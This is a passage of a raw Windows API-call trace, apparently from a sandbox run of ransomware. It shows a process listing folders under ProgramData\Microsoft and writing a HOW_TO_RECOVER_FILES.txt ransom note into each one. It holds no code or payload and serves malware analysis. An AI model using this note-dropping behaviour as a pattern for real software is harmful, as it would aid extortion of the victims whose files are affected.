lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a0260ae, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a0260ae, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0139.024] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.024] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0139.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0139.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0139.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0139.024] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage", lpFilePart=0x0) returned 0x37 [0139.024] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a0260ae, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0139.024] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a0260ae, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.024] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a0260ae, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a0260ae, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0139.024] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a0260ae, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a0260ae, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0139.024] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0139.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0139.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0139.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0139.025] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlandingstage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0139.025] GetFileType (hFile=0x6e0) returned 0x1 [0139.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0139.026] GetFileType (hFile=0x6e0) returned 0x1 [0139.026] WriteFile (in: hFile=0x6e0, lpBuffer=0x38dced8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x38dced8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0139.027] CloseHandle (hObject=0x6e0) returned 1 [0139.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0139.027] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage", lpFilePart=0x0) returned 0x34 [0139.027] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0139.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a8f0da7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0139.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 1 [0139.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 0 [0139.027] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0139.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0139.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0139.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0139.027] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage", lpFilePart=0x0) returned 0x34 [0139.027] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0139.028] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.028] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a8f0da7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0139.028] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 1 [0139.028] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.028] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0139.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0139.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0139.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0139.028] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA", lpFilePart=0x0) returned 0x3b [0139.028] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0139.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9d20) returned 1 [0139.030] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x54 [0139.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0139.030] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\tenantstorage\\p-aria\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f66d0) returned 1 [0140.744] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0140.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0140.744] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\tenantstorage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.746] GetFileType (hFile=0x618) returned 0x1 [0140.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0140.746] GetFileType (hFile=0x618) returned 0x1 [0140.746] WriteFile (in: hFile=0x618, lpBuffer=0x3a38af8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3a38af8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.747] CloseHandle (hObject=0x618) returned 1 [0140.747] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0140.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0140.747] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.748] GetFileType (hFile=0x618) returned 0x1 [0140.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0140.748] GetFileType (hFile=0x618) returned 0x1 [0140.749] WriteFile (in: hFile=0x618, lpBuffer=0x3a3c340*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3a3c340*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0140.750] CloseHandle (hObject=0x618) returned 1 [0140.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.750] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM", lpFilePart=0x0) returned 0x20 [0140.750] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.750] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.751] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9af7cf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.751] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0140.751] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0140.751] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.751] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM", lpFilePart=0x0) returned 0x20 [0140.751] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.751] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.752] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9af7cf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9d5a0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.752] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0140.752] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.752] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.752] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x27 [0140.752] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.753] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.753] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9af7cf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9af7cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9af7cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.753] FindNextFileW (in: hFindFile=0x1ec322f0, 